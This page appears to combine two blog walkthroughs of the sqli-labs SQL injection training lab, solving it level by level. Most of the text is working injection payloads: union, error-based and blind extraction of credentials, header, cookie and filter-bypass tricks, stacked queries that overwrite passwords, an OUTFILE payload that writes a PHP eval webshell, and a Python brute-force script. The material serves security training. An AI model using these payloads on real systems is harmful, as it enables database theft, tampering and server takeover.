精华内容
下载资源
问答
  • 这是个关于sql注入的文档,是sqli-labs闯关小游戏二十一关到六十五关的详解,每一关的步骤写得都很详细,前二十关的话我已经发布了博客,有需要的可以下载一下。
  • sqli-labs通关记录

    2020-07-11 11:48:41
    sqli-lab通关记录 1.docker搭建 运行:docker info //查看docker信息,确认docker正常 搜索sqli-labs:docker search sqli-labs 建立镜像:docker pull acgpiano/sqli-labs 查看存在的镜像:docker images 运行存在...

    sqli-lab通关记录

    docker搭建

    运行:docker info //查看docker信息,确认docker正常

    搜索sqli-labs:docker search sqli-labs

    在这里插入图片描述建立镜像:docker pull acgpiano/sqli-labs

    在这里插入图片描述查看存在的镜像:docker images
    在这里插入图片描述运行存在的镜像:docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs (参数解释:-dt 后台运行; --name 命名;-p 80:80 将后面的docker容器端口映射到前面的主机端口)

    在这里插入图片描述docker ps -a 显示容器container容器的id image 命令 端口等信息
    在这里插入图片描述使用命令 docker container ls 查看已经启动的容器列表
    在这里插入图片描述

    sqli-labs通关记录

    Page-1(Basic Challenges)

    Less-1 基于错误的单引号字符串

    /?id=1
    正常访问
    在这里插入图片描述/?id=1’

    返回报错信息:You have an error in your SQL syntax; check the manual that corresponds to your     MySQL  server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
    

    在这里插入图片描述使用–+绕过
    /?id=1’ --+
    在这里插入图片描述判断字段数
    ?id=1’ order by 4 --+
    发现order by 3 回显正常,order by 4时报错,说明只有3个字段
    在这里插入图片描述判断注入点
    ?id=1’ and 1=2 union select 1,2,3 --+
    发现2,3处可注入
    在这里插入图片描述
    ?id=1’ and 1=2 union select 1,database(),3 --+
    得到数据库security
    在这里插入图片描述查找数据库security中的表
    ?id=1' and 1=2 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

    在这里插入图片描述查找表users中的列名
    ?id=1' and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+

    在这里插入图片描述爆破用户名和密码
    ?id=1' and 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+

    在这里插入图片描述

    Less-2 基于错误的get整型注入

    ?id=1‘ --+报错
    在这里插入图片描述然后进行同less-1操作

    ?id=1 and 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users)

    在这里插入图片描述

    Less-3 基于错误的get单引号变形字符型注入

    ?id=1’ --+报错
    使用’) --+来闭合
    如less-1查询字段,表名,列名

    ?id=1') order by 4--+
    依然是只有三个字段

    ?id=1') and 1=2 union select 1,2,3 --+
    查回显

    ?id=1' )and 1=2 union select 1,database(),3--+
    查询数据库

    ?id=1' )and 1=2 union select 1,database(),and 1=2 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
    查security中的表

    ?id=1' )and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
    查user表中的列

    ?id=1' )and 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
    爆破

    Less-4 基于错误的GET双引号字符型注入

    双引号报错

    在这里插入图片描述?id=1") --+回显正常
    在这里插入图片描述其余操作同上

    Less-5 双注入GET单引号字符型注入

    使用concat聚合函数
    参考资料:http://www.2cto.com/article/201303/192718.html

    简单的说,使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息。

    比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

    双注: 当查询语句的前面出现聚合函数 就是多个返回结果count()就是多行的意思 后面的查询结果代码会以错误的形式显示出来

    ?id=1' order by 4--+
    判断字段数

    1' union all select count(*),2,concat( '~',(select schema_name from information_schema.schemata limit 4,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
    获取数据库 security 这里使用union all
    在这里插入图片描述

    1' union all select count(*),2,concat( '~',(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
    

    获取表 users
    在这里插入图片描述

    1' union all select count(*),1,concat( '~',(select column_name from information_schema.columns where table_name= 'users' limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 
    

    爆出了三个字段,字段不存在也是返回you are in…

    1' union all select count(*),1,concat( '~',(select concat(id,username,password) from users limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 
    

    成功
    在这里插入图片描述时间延迟型手工注入:(手工测试比较麻烦,建议使用sqlmap)
    正确会延迟,错误没有延迟

    爆库长

    ?id=1' and if(length(database())=8,sleep(5),1)--+
    

    明显延迟,数据库长度为8

    爆库名

    ?id=1' and if(left(database(),1)='s',sleep(5),1)--+
    

    明显延迟,数据库第一个字符为s,然后增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确时会延迟。最终爆破得到left(database(),8)=‘security’

    爆表名

    ?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
    

    改变limit _,1 的数值的出表名users

    爆列名

    ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
    

    爆破值

    ?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
    
    ?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
    

    Less-6 双注入GET双引号字符型注入

    法一:报错注入(转载)

    何为报错注入:
    报错注入就是通过人为的引起数据库的报错,但是数据库在报错的同时会将查询的结果也呈现在报错中,我在这里介绍一下报错注入以及原理
    这是网上使用最广泛的一句报错注入语句:
    select count(*),(floor(rand(0)2))x from information_schema.tables group by x;
    那么必须是要按这个句子来执行吗,或者必须要这些句子吗?
    通过查找很多网站的资料,我总结出:
    group by,rand(),floor()三个函数是必须存在的,缺一不可,并且rand(),rand(0)两个句子还是有一些区别的,其中rand()在两条数据以上随即报错,rand(0)在三条数据以上必报错
    原文链接:https://blog.csdn.net/weixin_43258754/article/details/87888269
    
    ?id=1" union select 1,count(*),concat((select user()),floor(rand(0)*2))a from information_schema.columns group by a --+
    

    在这里插入图片描述法二:双注

    获取数据库

    1" union select count(*),2,concat_ws(char(58),(select version()) ,floor(rand(0)*2)) a from information_schema.schemata group by a %23

    在这里插入图片描述获取表

    1" union all select count(*),1,concat('~', (select schema_name from information_schema.schemata limit 4,1),floor(rand(0)*2)) a from information_schema.schemata group by a %23

    在这里插入图片描述
    获取数据
    1" union all select count(*),1,concat('~',(select concat(username,password) from users limit 0,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a %23
    在这里插入图片描述

    Less-7 导出文件GET字符型注入

    学习函数:

    outfile函数
    outfile函数就是将数据库的查询内容导出到一个外部文件

    dumpfile 转储函数
    转储函数只能储存一行数据所以我们在导出的时候需要加以限制

    load_file 下载文件,作用是从操作系统向数据库中写入文件,和前面的outfile刚好相反

    select load_file("/var/lib/mysql-files/1.txt");

    本题只需对文件写入一个一句话木马

    ?id=1')) union select 1,"<?php @eval($_GET['cmd']);?>",3 into outfile "/var/lib
    /mysql-files/1.txt" --+; 
    

    Less-8 布尔型单引号GET盲注

    盲注
    分为基于布尔的盲注和基于时间的盲注
    先判断注入类型,单引号字符型注入,但是没有报错回显
    使用报错语句没有报错,这里我们采用布尔型盲注

    学习函数:
    length() 返回字符串的长度
    在这里插入图片描述
    数据库名字是security总共有8位,所以我们这里使用
    ?id=1' and length(database())=8 --+注入

    在这里插入图片描述=9 时就会报错,这个就是盲注的原理

    操作同less-5

    Less-9 基于时间的GET单引号盲注

    考虑时间型盲注

    ?id=1' and sleep(3) --+
    

    明显延迟,注入成功

    ?id=1' and if(length(database())=8 , sleep(3), 1) --+时明显延迟,所以库名长为8

    ?id=1' and if(left(database(),1)='s' , sleep(3), 1) --+

    发现明显延迟说明库名第一个字符为 ‘s’

    ?id=1' and if(left(database(),8)='security' , sleep(3), 1) --+

    库名为 security

    ?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+
    

    使用limit x,1 查询第x个表名,和爆破库名一样,第一个表名为referer

    爆到users这个表

    操作同Less-5

    Less-10 基于时间的双引号盲注

    把上一题Less-9的单引号改成双引号,一样的注入

    Less-11 基于错误的PSOT单引号字符

    弱口令admin登录成功
    使用Burp抓包

    判断字段
    -admin’ order by 2 --+时正常,字段为3

    回显(注意uname是错误的,才能显示联合查询内容)
    在这里插入图片描述
    然后就进行正常爆破操作
    在这里插入图片描述

    Less-12 基于错误的双引号POST型字符变形注入

    单引号改为双引号并用) --+进行闭合
    在这里插入图片描述

    Less-13 POST 单引号变形双注入

    单引号注入,使用’) --+闭合
    在这里插入图片描述

    Less-14 POST双引号变形双注入

    在这里插入图片描述

    Less-15 基于bool型/时间延迟单引号POST型盲注

    布尔盲注

    admin’ and 1=1 --+
    在这里插入图片描述admin’ and 1=2 --+
    在这里插入图片描述
    时间盲注

    admin’ and sleep(5) --+

    明显延迟,可使用时间盲注

    Less-16 post方法双引号括号绕过时间盲

    同less-15单引号改为") --+
    在这里插入图片描述

    Less-17 基于错误的更新查询POST注入

    $uname=check_input($_POST['uname']);  
    $passwd=$_POST['passwd'];
    

    发现用户名被特殊处理

    这里需要学习check_input()函数

    function check_input($value)
    	{
    	if(!empty($value))
    		{
    		// truncation (see comments)
    		$value = substr($value,0,15);
    		}
     
    		// Stripslashes if magic quotes enabled
    		if (get_magic_quotes_gpc())
    			{
    			$value = stripslashes($value);
    			}
     
    		// Quote if not a number
    		if (!ctype_digit($value))
    			{
    			$value = "'" . mysql_real_escape_string($value) . "'";
    			}
    		
    	else
    		{
    		$value = intval($value);
    		}
    	return $value;
    	}
    只截取15个字符
    
    get_magic_quotes_gpc()
    
    当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
    
    当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
    
    magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
    
    在magic_quotes_gpc = On的情况下,如果输入的数据有
    
    单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。
    
    stripslashes()删除由 addslashes() 函数添加的反斜杠
    
    ctype_digit()判断是不是数字,是数字就返回true,否则返回false
    
    mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
    
    intval()     整型转换
    

    不能从uname入手,从passwd入手

    使用updatexml()

    爆库

    &passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
    

    在这里插入图片描述

    爆表

    admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1) --+
    

    在这里插入图片描述爆列

    &passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user')),0x7e),1) --+
    

    在这里插入图片描述

    &passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+
    

    在这里插入图片描述失败

    加一层select

    &passwd=admin' and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin'))),1) --+ 
    

    在这里插入图片描述
    成功

    &passwd=11'  and  updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') m ),0x7e),1) --+
    

    在这里插入图片描述

    Less-18 基于错误的用户代理,头部POST注入

    报错型,单引号,user-agent型注入点

    看到user-agent的回显,猜测注入点在user-agnet
    在这里插入图片描述
    抓包修改user-agent改为payload就可以了

    爆库payload

     'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
    

    在这里插入图片描述
    爆库

    User-Agent: User-Agent: 1',1,updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5e),1)) #
    

    在这里插入图片描述爆列

    User-Agent: 1',1,updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name='uagents'),0x5e),1)) #
    

    在这里插入图片描述

    Less-19 基于头部的RefererPOST报错注入

    单引号,报错型,referer型注入点
    在这里插入图片描述回显是referer,注入点为referer
    操作同less-18

    Less-20 基于错误的cookie头部POST注入

    单引号,报错型,cookie型注入

    在这里插入图片描述cookie:uname=admin可以肯定是cookie注入了

    在这里插入图片描述在这里插入图片描述字段数为4,然后进行回显,爆库,爆表,爆列

    Page-2 (Adv Injections)

    Less-21 Cookie Injection- Error Based- complex - string ( 基于错误的复杂的字符型Cookie注入)

    base64编码,单引号,报错型,cookie型注入。

    本关和less-20相似,只是cookie的uname值经过base64编码。

    在这里插入图片描述YWRtaW4是admin经过base64加密后得到的,所以本题在cookie处加密了字符串

    爆库

    -admin') union select 1,2,database()# //明文
    LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw== //密文
    

    在这里插入图片描述

    故在上传其他payload时也需要通过base64加密

    Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)

    base64编码,双引号,报错型,cookie型注入

    同less-21一样,只需要使用双引号代替单引号再取掉括号即可

    -admin" union select 1,2,database()# //明文
    LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj//密文
    

    在这里插入图片描述

    Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)

    过滤了注释符 # –
    ?id=1’ or ‘1’=’1
    在这里插入图片描述爆库

    ?id=' union select 1,2,database() '
    

    在这里插入图片描述
    爆表

    ?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
    

    在这里插入图片描述

    爆列

    ?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
    

    在这里插入图片描述爆值

    ?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
    

    在这里插入图片描述

    Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)

    先注册一个 admin’ #的用户
    然后在修改密码的时候构造这样一个sql语句,把admin的密码修改为123123

    UPDATE users SET PASSWORD=’123’ where username=’admin’ #’ and password=’123456’
    

    Less-25 Trick with OR & AND (过滤了or和and)

    1. --+绕过
      

    在这里插入图片描述

    ?id=-1' union select 1,2,group_concat(username,passwoorrd) from users--+
    

    在这里插入图片描述
    2.双写or或and绕过

    ?id=0' oorr 1=1 --+
    ?id=2' aandnd 1=1 --+
    

    or and形成闭合语句

    Less-25a

    直接在前面添加or或and
    在这里插入图片描述延时注入
    ?id=-1 || if(length(database())=8,1,sleep(5))#
    在这里插入图片描述联合注入

    ?id=-1 union select 1,database(),3#

    在这里插入图片描述

    Less-26 Trick with comments and space (过滤了注释和空格的注入)

    空格,or,and,/*,#,–,/等符号被过滤

    对于注释和结尾字符的我们此处只能利用构造一个 ’ 来闭合后面到 ’ ;对于空格,有较多的方法:

    %27 '
    
    %a0 空格
    

    ()可以绕过

    ?id=1' aandnd(updatexml(1,concat(0x5e,database(),0x5e),1));%00
    

    例爆库
    在这里插入图片描述或者
    %a0 进行空格绕过,%27进行’绕过

    判断字段数
    (hackbar中输入&&时,需要自行URL编码为%26%26,否则会报错)

    ?id=0%27union%a0select%a01,2,3%a0%26%26%a0%271%27=%271
    ?id=0%27union%a0select%a01,2,3,4%a0%26%26%a0%271%27=%271
    

    在这里插入图片描述在这里插入图片描述可以判断字段数为3

    爆库

    ?id=0%27union%a0select%a01,database(),3%26%26%271%27=%271
    

    在这里插入图片描述爆表时information里的or会被过滤,需要双写为infoorrmation
    在这里插入图片描述

    ?id=0%27union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=%27security%27%26%26%a0%271%27=%271
    

    在这里插入图片描述
    爆列时information和and双写

    ?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema=%27security%27%0baandnd%0btable_name=%27users%27%0b%26%26%0b%271'=%271
    

    在这里插入图片描述爆值

    ?id=0%27%a0union%a0select%a01,group_concat(username),3%a0from%a0users%a0where%a0%271%27=%271 
    

    在这里插入图片描述

    也可以一起查
    where ‘1’='1,是为了让语句变成无约束查询

    ?id=0%27%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0%271%27=%271 
    

    在这里插入图片描述

    less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)

    %0b TAB键(垂直)
    同26,还要多添加一个括号

    爆库
    ?id=0%27)%0Bunion%0Bselect%0B1,database(),3%0B||(%271%27)=(%271
    爆表
    ?id=0')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1
    查用户名
    ?id=0')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1
    查密码
    ?id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1
    一起查
    ?id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd,username),3%0bfrom%0busers%0bwhere%0b('1')=('1
    

    less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)

    ‘和空格均被过滤
    使用大小写绕过

    less 27a GET - Blind Based- All your UNION & SELECT belong to us

    less 27的盲注版本,双引号型

    less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入

    大小写和单引号闭合绕过

    ?id=0%27)%a0uNion%a0sElect(1),(database()),(%273
    

    在这里插入图片描述

    less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入

    同28
    在这里插入图片描述

    Less-29 基于WAF的一个错误

    输入一个引号错误,两个引号正常
    在这里插入图片描述
    在这里插入图片描述

    Less-30 Get-Blind Havaing with WAF

    改为双引号
    在这里插入图片描述

    Less-31 Protection with WAF

    在这里插入图片描述

    Less-32 Bypass addslashes()

    绕过 addslashes()
    宽字节绕过引号转义
    ‘替换成\’ “替换成\” \替换成 \”

    ?id=1%df’报错
    在这里插入图片描述在这里插入图片描述

    Less-33 Bypass addslashes()

    同32

    Less-34 Bypass Add SLASHES

    Burp抓包,操作同32
    在这里插入图片描述

    Less-35 why care for addslashes()

    为什么要关心addslashes()
    不需要绕过,直接注入
    在这里插入图片描述
    在这里插入图片描述

    Less-36 Bypass MySQL Real Escape String

    ?id=1%df’报错
    在这里插入图片描述?id=1%df’–+正常
    在这里插入图片描述

    Less-37- MySQL_real_escape_string

    在这里插入图片描述在这里插入图片描述

    Page-3 (Stacked Injections)

    堆叠注入:在数据库中可以执行多条SQL语句,语句之间以分号(;)隔开

    Less-38GET- Stacked Query Injection - String

    id=1时
    在这里插入图片描述
    堆叠注入后
    ?id=1' ;update users set password='123' where username='Dumb' --+
    在这里插入图片描述

    Less-39GET- Stacked Query Injection - Intiger based

    数字型注入

    id=1时
    在这里插入图片描述创建新用户
    ?id=1;insert into users values(100,'create','create');--+

    id=100时
    在这里插入图片描述创建成功

    Less-40GET - BLIND based - String - Stacked

    单引号括号’)进行闭合
    ?id=1’无回显
    ?id=1’ --+无回显
    ?id=1’)–+回显正常
    在这里插入图片描述

    Less-41GET-BLIND based - Intiger - Stacked

    数字型注入
    同39

    Less-42POST - Error based String Stacked

    user设置了过滤函数mysqli_real_escape_string()
    在这里插入图片描述
    所以在密码处构造

    login_user=admin&login_password=123456' and updatexml(1,concat(0x5e,substr((select group_concat(username,0x7e,password) from users),1,31),0x5e),1) #&mysubmit=Login
    

    在这里插入图片描述

    Less-43POST - Error based - String - Stacked with twist

    同42,只需将单引号改为’)

    login_user=admin&login_password=admin') and updatexml(1,concat(0x5e,substr((select group_concat(username,0x7e,password) from users),1,31),0x5e),1) #&mysubmit=Login
    

    在这里插入图片描述

    Less-44POST - Error based String Stacked -Blind

    闭合方式为单引号
    密码处创建一个新用户
    在这里插入图片描述
    666登录成功
    在这里插入图片描述

    Less-45 POST - Error based - String - Stacked - Blind

    闭合方式为’)
    同43

    Less-46 GET-Error based . Numeric . ORDER BY CLAUSE

    要用到order by 相关注入的知识
    在这里插入图片描述在这里插入图片描述

    ?sort=1 desc或者asc,显示结果不同,表明可以注入

    直接添加注入语句,?sort=(select ******)

    爆库

    ?sort=(select updatexml(1,concat(0x5e,database(),0x5e),1))
    

    在这里插入图片描述
    爆表

    ?sort=(select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1) )
    

    在这里插入图片描述
    爆列

    ?sort=(select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user')),0x7e),1))
    

    在这里插入图片描述爆值

    ?sort=(select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1))
    

    在这里插入图片描述也可以使用?sort=1 and (加sql语句)进行注入

    还可以进行时间注入

    ?sort=1 and sleep(5)有延迟,可以时间注入

    在这里插入图片描述

    Less-47GET-Error based - String - ORDER BY CLAUSE

    ?sort=1’报错
    ?sort=1’ --+正常
    其余同46

    Less-48GET - Error based - Blind- Numeric- ORDER BY CLAUSE

    无报错,不能进行报错注入
    可以使用时间注入,同46

    Less-49GET - Error based . String- Blind . ORDER BY CLAUSE

    一样无报错,同48进行时间注入

    Less-50GET - Error based - ORDER BY CLAUSE -numeric- Stacked injection

    堆叠注入

    了解mysqli_multi_query()函数
    mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句

    ?sort=1;insert into users values(50,'50','50');
    

    在这里插入图片描述成功

    Less-51GET - Error based - ORDER BY CLAUSE -String- Stacked Injection

    ?sort=1’报错
    ?sort=1’–+正常
    同前
    在这里插入图片描述

    Less-52GET - Blind based - ORDER BY CLAUSE -numeric- Stacked injection

    单引号双引号均无报错
    ?sort=1 and sleep(5)有延迟,可以使用时间注入
    或者数字型注入
    在这里插入图片描述

    Less-53GET - GET - Blind based - ORDER BY CLAUSE -String- stacked injection

    单引号无报错,双引号正常
    ?sort=1’ --+正常

    Page-4 (Challenges)

    Less-54GET - challenge - Union- 10 queries allowed - Variation 1

    已知数据库为CHALLENGES,且仅有十次尝试机会,十次以后会随机生成一个新的表名和密码

    ?id=1回显
    ?id=1’ 回显异常
    ?id=1’ --+回显正常

    ?id=-1’ union select 1,2 --+回显异常
    ?id=-1’ union select 1,2,3 --+回显正常
    说明字段数为3

    在这里插入图片描述
    爆表

    ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+
    

    在这里插入图片描述爆列

    ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='3LVU9O6T45'),3 --+
    

    在这里插入图片描述
    爆值

    ?id=-1' union select 1,(select group_concat(id,0x7e,sessid,0x7e,secret_0BWB,0x7e,tryy) from 3LVU9O6T45),3 --+
    

    在这里插入图片描述得到1~d44516e88a548ff1b4d73b7f9ee80a0a~q2N28tfxsGUc0Eo0ycKZBJy6~8

    Less-55GET - challenge - Union- 14 queries allowed - Variation 2

    同样十四次机会

    最终发现?id=1) --+回显正常
    在这里插入图片描述
    其余同上

    Less-56GET - challenge - Union- 14 queries allowed -variation 3

    还是十四次机会
    尝试后发现?id=1’) --+回显正常

    在这里插入图片描述其余同上

    Less-57GET - challenge - Union- 14 queries allowed - Variation 4

    十四次机会
    尝试后发现?id=1" --+回显正常
    在这里插入图片描述其余同上

    Less-58GET - challenge - Double Query- 5 queries allowed - Variation 1

    只有五次机会

    ?id=1’报错
    在这里插入图片描述
    爆表

    ?id=-1' and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5e),1)--+
    

    在这里插入图片描述
    爆列

    ?id=-1' and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name='KMMILD2HQ3'),0x5e),1)--+
    

    在这里插入图片描述爆值

    ?id=-1' and updatexml(1,concat(0x5e,(select secret_G9AY from KMMILD2HQ3),0x5e),1)--+
    

    在这里插入图片描述得到1jwSc79Nx9tQBzjDQ1YmGrt3
    输入即可

    Less-59GET - challenge - Double Query- 5 queries allowed - Variation 2

    同样五次机会
    数字型注入

    ?id=1’
    在这里插入图片描述
    爆表

    ?id=-1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5e),1)
    

    在这里插入图片描述其余同上

    Less-60GET - challenge - Double Query- 5 queries allowed - Variation 3

    五次机会
    ?id=1") --+回显正常
    在这里插入图片描述其余同上

    Less-61GET - challenge - Double Query- 5 queries allowed - Variation 4

    五次机会
    ?id=1’)) --+回显正常
    在这里插入图片描述其余同上

    Less-62GET - challenge - Blind - 130 queries allowed - variation 1

    一百三十次。。
    尝试后发现
    无报错回显
    ?id=1’) --+回显正常
    union查询也不显示
    在这里插入图片描述?id=1’) and sleep(5)–+有延迟,可以进行时间注入

    Less-63GET - challenge - Blind - 130 queries allowed -Variation 2

    同样无报错
    ?id=1’ --+回显正常
    ?id=1’ and sleep(5) --+有延迟,进行时间注入
    在这里插入图片描述

    Less-64GET - challenge - Blind - 130 queries allowed - variation 3

    同样无报错
    ?id=1)) --+回显正常
    ?id=1)) and sleep(5) --+有延迟,进行时间注入

    在这里插入图片描述

    Less-65GET - challenge - Blind - 130 queries allowed - Variation 4

    ?id=1") --+回显正常
    同上
    在这里插入图片描述

    个人水平有限还请各位大佬指出错误

    OVER

    展开全文
  • sqli-labs通关攻略

    2021-08-16 18:44:40
    sqli-labsless 1 less 1 字符型注入,单引号 网址后面接 ?id=1 正常显示,然后判断注入点 ?id=1' and 1=1--+ 将1=1换成1=2,发现没有报错,但不显示信息,说明可以使用字符注入 之后判断列数,使用order by,从1...

    sqli-labs

    less 1—单引号字符型注入

    字符型注入,单引号
    在这里插入图片描述

    网址后面接

    ?id=1
    

    在这里插入图片描述
    正常显示,然后

    判断注入点

    ?id=1' and 1=1--+
    

    将1=1换成1=2,发现没有报错,但不显示信息,说明可以使用字符注入

    之后

    判断列数

    使用order by,从1开始逐渐递增,报错时停止。

    ?id=1' order by 1--+
    

    由此我们可以确认列数为3(4报错)
    在这里插入图片描述

    判断数据显示位置

    我们地址后输入

    ?id=0' union select 1,2,3--+
    

    在这里插入图片描述
    然后便可以

    插入SQL的一些语句去查询更多信息

    查找当前使用的数据库的名称

    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+
    

    查询所有的库名

    http://127.0.0.1/sqli-labs-master/less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
    

    查询所有的表名

    http://127.0.0.1/sqli-labs-master/less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
    

    查找security数据库的信息

    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
    

    查看user表中的列名

    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
    

    查看user表中的username这一列的值

    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(username) from security.users--+
    

    查看user表中的密码这一列的值

    http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(password) from security.users--+
    

    less 2—整型注入

    在这里插入图片描述
    我们先

    判断注入点

    ?id=1 and 1=1--+
    

    将1=1换成1=2,不显示信息,不报错。
    在这里插入图片描述
    接着

    判断列数

    地址后接

    ?id=1 order by 1--+
    

    判断数据显示位置

    与less1大致相同

    判断数据显示位置

    与less1大致相同

    插入SQL语句查询更多信息

    与less1大致相同

    less 3—单引号变形字符型注入

    在这里插入图片描述
    我们查看一下该关卡的源代码可以看到
    在这里插入图片描述
    这就需要我们注入的时候闭合掉括号

    判断注入点

    ?id=1') and 1=1 --+
    

    在查询其他信息的时候记住
    id后面加上’)再添加相应的语句查询

    步骤同上

    less 4—双引号字符型注入

    在这里插入图片描述

    判断注入点

    将接在id的值的后面的')换成"

    http://127.0.0.1/sqli-labs-master/Less-4/?id=1" and 1=2--+
    

    在这里插入图片描述
    其他不变

    less 5—双注入单引号字符型注入

    在这里插入图片描述
    我们首先尝试

    判断注入点

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=1--+
    

    发现显示
    在这里插入图片描述
    显示了报错信息,再查看下源代码确定下~
    在这里插入图片描述
    问题不大,也就是说如果查询语句执行正确,我们会看到

    在这里插入图片描述
    执行错误则显示错误信息

    这里贴一个用来爆破数据库名长度和具体名称的python脚本,测试url也就是靶场的第五关,原理也就是布尔盲注的原理

    import requests
    
    def database_len():
        global aa
        for i in range(1, 10):
            url = '''http://127.0.0.1/sqli-labs-master/Less-5/index.php'''
            payload = '''?id=1' and length(database())>%s''' % i
            # print(url+payload+'%23')
            r = requests.get(url + payload + '%23')
            if 'You are in' in r.text:
                print(i)
                continue
            else:
                # print('false')
                print('database_length:', i)
                aa = i
                break
    def database_name():
        global aa
        name = ''
        for j in range(1, aa+1):
            for i in 'sqcwertyuioplkjhgfdazxvbnm':
                url = "http://127.0.0.1/sqli-labs-master/Less-5/index.php?id=1' and substr(database(),%d,1)='%s'" % (j, i)
                # print(url+'%23')
                r = requests.get(url + '%23')
                if 'You are in' in r.text:
                    name = name + i
    
                    print(name)
    
                    break
        print('database_name:', name)
    if __name__ == "__main__":
        aa = 0
        database_len()
        database_name()
    

    因为注入点有报错信息,所以也可以使用报错注入

    url后面接:

    ?id=-1'and(select updatexml(1,concat(0x7E,(select database()),0x7E),1)) --+
    

    即可爆出数据库名
    在这里插入图片描述
    另外时间盲注也可用于本题

    用于判断数据库名的长度的语句

